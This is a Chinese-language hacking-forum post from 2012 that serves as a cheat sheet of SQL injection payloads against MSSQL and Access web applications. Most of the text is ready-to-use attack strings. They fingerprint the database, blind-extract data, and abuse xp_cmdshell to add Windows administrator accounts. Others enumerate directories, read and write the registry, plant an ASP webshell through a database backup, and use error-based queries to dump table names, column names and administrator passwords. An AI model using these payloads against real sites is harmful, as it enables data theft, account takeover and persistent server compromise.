找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2403|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
: x7 \. U' K$ ~1 n4 d6 I* }+ z;and 1=1 : G9 N2 }* s/ H! Q; @  O+ m
;and 1=2 2 O+ R3 G6 ^6 X7 K1 o

) Z4 Y7 h# N4 M* a2.初步判断是否是mssql
. T9 j; U/ d5 ]; o, v- M6 Z6 r;and user>0
. W7 s; N; j2 ^3 M- n4 V6 b# k" y; m% q
3.判断数据库系统
$ k6 `% w8 \. X2 @% P' s;and (select count(*) from sysobjects)>0 mssql 4 V9 e- F( p4 u$ l; }, b2 S
;and (select count(*) from msysobjects)>0 access , o+ j$ q( c% I

2 S+ m8 [: h) Q# x1 z" w" D* m6 o4.注入参数是字符 : J% i5 F9 @: y8 O
'and [查询条件] and ''='   z' P5 r, b# u. e9 r( J
' v/ ^% n+ g7 o" p: L
5.搜索时没过滤参数的
1 N% _2 z: P2 x) n9 [" J! x'and [查询条件] and '%25'='
& u: M0 D' l9 l4 m
1 T0 n* r/ E  i- V$ Y9 I6.猜数表名 . m' S( [% }% Z
;and (select Count(*) from [表名])>0 1 q. Q1 Z) [: ?" g; ^& ~

" {1 ?7 d" f3 G7.猜字段
$ Z1 }6 U7 ~7 R0 Y0 B;and (select Count(字段名) from 表名)>0
( v' e4 l) o' {# O+ I& d2 v! t
% S$ U$ c) J8 p. W# _' e8.猜字段中记录长度 ; N1 K) F: S% Z% A4 n1 I; [" n0 ~
;and (select top 1 len(字段名) from 表名)>0 5 [4 y* R/ A0 b# A5 l! W6 B

% f! M" @& d  L, |. a) t9.(1)猜字段的ascii值(access) ( T  v; c, l3 f! j8 o
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
3 _; c7 h: N- d+ z9 j3 j0 K
2 X1 l% \$ ?- x7 N6 K+ c(2)猜字段的ascii值(mssql)
+ f! r" @* d& i;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
9 |1 K+ B7 K) D0 g# @/ }0 j! [* b: Z6 d" k
10.测试权限结构(mssql) ! M* Z/ {" e1 o" @5 @9 C0 |; `3 o
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 7 }2 g. |1 X; f2 e' n* Z# a
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
4 m& p) l/ j( y5 g;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 6 J9 ~6 [4 g' L2 i( j
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- : o# K1 I) p& ^1 [
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- $ k5 N  u" d& [8 }# N% \
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
! i! Q+ z$ G! j/ \2 ?# T' `;and 1=(select IS_MEMBER('db_owner'));-- " L0 q( u) y* z, r

/ h2 o: E; ^- m% l- |9 I11.添加mssql和系统的帐户 + ^4 t  N0 \0 a. K- v
;exec master.dbo.sp_addlogin username;--
0 `* R8 F. J) ^, \9 a9 H& I;exec master.dbo.sp_password null,username,password;--
* _) a, v3 x4 D;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 0 {0 r; z* v- f' {8 u  O
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
" _: J% q2 I# K! };exec master.dbo.xp_cmdshell 'net user username password /add';--
$ n- _5 b0 r* ?;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 2 X( D0 ?1 Z" @( S3 m' }

# X( g5 z" c  X) C! u$ c) [, [4 ]12.(1)遍历目录 0 I' g1 d1 g4 p+ g' o' z! i
;create table dirs(paths varchar(100), id int) 0 H/ y) u7 ]0 S; u1 D' p
;insert dirs exec master.dbo.xp_dirtree 'c:\' 2 o5 F& V  ~/ u& O. q
;and (select top 1 paths from dirs)>0
  b- K' i8 t8 I& t' _6 F0 f;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
# f4 J" U6 z" ~! P0 s) f2 j- ]. y/ G0 i
(2)遍历目录 . z5 @- `, G: w# z$ M9 ^0 `
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 8 U2 D$ F6 H5 @& o% m# ?
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
( g. o* i! M  k;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 . t2 i- z5 p$ o
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
1 G2 m4 [# D, O5 t4 b# A;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
5 V' b* E" s# D
  v& _- H* j( @' P13.mssql中的存储过程
# H; ]/ g7 b8 a8 r: Vxp_regenumvalues 注册表根键, 子键
  P( V7 @' ~) e7 F/ S;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 1 d  P2 b9 A; c' Y
xp_regread 根键,子键,键值名
  T# ~# ~0 o' o; q; `* H, ~;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
8 T; f. M0 v) s; d- r+ F: ?- ]xp_regwrite 根键,子键, 值名, 值类型, 值
) R6 X& V5 Y6 c1 M- h  F值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
, f* Z7 l5 B. y7 {2 d) n& b;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
0 Y8 F( l2 G( e. y$ zxp_regdeletevalue 根键,子键,值名
) V# w/ T+ b3 s8 ]$ D6 uexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
- f8 ^3 y! t0 l* wxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 0 P+ n3 J& t& E

+ E4 j6 W- k% v14.mssql的backup创建webshell
9 }4 I/ k5 w0 z' X9 D  fuse model
) w5 b  i3 [4 D# j) x* b; g5 Bcreate table cmd(str image);
  z( N8 [. f" p, w8 X; w- hinsert into cmd(str) values ('<% Dim oScript %>');
! O& n, k) ~0 S) E: J& Y" H  Fbackup database model to disk='c:\l.asp'; 1 X7 [1 j0 C- z
6 S+ G  w: d6 v
15.mssql内置函数
) m1 P% J. V8 C; e, V;and (select @@version)>0 获得Windows的版本号
" z8 B2 Y/ z# S+ j;and user_name()='dbo' 判断当前系统的连接用户是不是sa
5 a$ a( `/ v. J;and (select user_name())>0 爆当前系统的连接用户
8 c& S  {2 w- ^! p6 ~" X+ o' K) \;and (select db_name())>0 得到当前连接的数据库
2 a, ^8 D# Q9 R2 t0 Z1 e% M! B. j! g; S; `# g

) o8 g: i. U  J9 ~/ E; t7 _0 }3 y2 }$ C% @) |0 K( ]
MSSQL手注暴库
- e- D- Q1 D' n( n2 c8 H+ n  n
9 W, T1 Y# v5 S% Y% J1.暴出当前表名和列名: |) X* u9 l. r$ g
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
& q5 Z* u7 d3 @4 Z
; a& H. y) U9 C% o: X$ o第一.爆出所有数据库名
5 b5 [4 h# q& O2 j' x$ r% S2 y& Z利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。( ^7 j5 A, V! a: L# O5 R
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。2 M1 M, y1 n# B
' b$ L5 _# p8 W: O( ~( ?- Z/ T
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名, i: Q' b, E; |: |$ Z( H* l
* Z1 f) O4 D5 t- ~, G# h
$ P8 J) x9 m$ v% ?: n) ~2 q4 A
第二.爆出指定库中的所有表名
# o0 @/ ^' }. S! T% ^, j得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。2 e5 e) ]# e$ G5 S4 F
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
+ ~2 o# w, R- ?
0 u3 n& l1 c2 \and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
# z) w1 B* W$ d1 O& eand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--# p# i+ i/ o1 S" u+ Q
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--' `6 u4 _8 H' A# C7 b6 U) a7 a* p" G
% D. E/ t0 d) }$ J
4.爆出指定表中的所有列名$ ~1 _9 ?3 V  C' |
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) " k8 l) |; {/ I% N+ G% [; v
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
# n6 g; l* _4 z$ a# l3 k3 K" A+ \4 M+ e5 H( b/ v, B: \
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名( r+ b( _2 u' L4 e- k$ i' M
7 L, o. h* T6 [/ W
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- " x! z. C: a2 B; H1 s
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
1 X) _9 c! J9 s5 i5 b& d  R
/ J' h1 c5 a" o* S' R" N9 l8 j4 l3 q. U" S7 P  ?
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
; b( a$ @4 N% r( G: I1 r3 ?2 H; l3 U
  t/ _: d  G7 j! ?6 E8 Jand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
* i1 I; v2 V& [% L4 x1 N; w! r. Z$ n3 E* D0 Z) T) T- a
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
# C* m- @- _; e; x" }, @* X( U4 j1 E* l* _$ t* i% V
. i0 c5 q, \. i8 D% _' t' k

) h  `6 e9 x! J" |" f0 V3 I9 o5.读取指定表中的数据: d# {8 I, c! _5 O, v" C2 f3 F. f
0 Z4 B5 m0 X5 ^5 I- |3 D6 a
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
; q) g( L7 O' w/ e# O
. Y. @: ?) d1 A( f5 i- O1 iand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--( N3 w. U$ m, |; `, o6 K5 d6 f
4 R" a  Z9 d  D+ ]% b6 F- ?
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
* L7 a. ]8 ?. {8 W, z; {2 Y
9 w2 o) }/ I3 P* `. E$ _3 {# u" u& S1 H+ f3 V
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)7 h9 O4 }) \5 x
2 ?) N3 N& w/ B# ?$ [* ]. J
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)- n+ T* T0 |1 ~+ F
/ b, ~/ K; }1 `% e
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--# f, a0 p, l/ Q6 I2 I$ Q
, B2 [$ U1 O4 E0 K& {+ g" N+ o1 {
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
5 I5 Q+ D# Z8 J# D  i+ J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表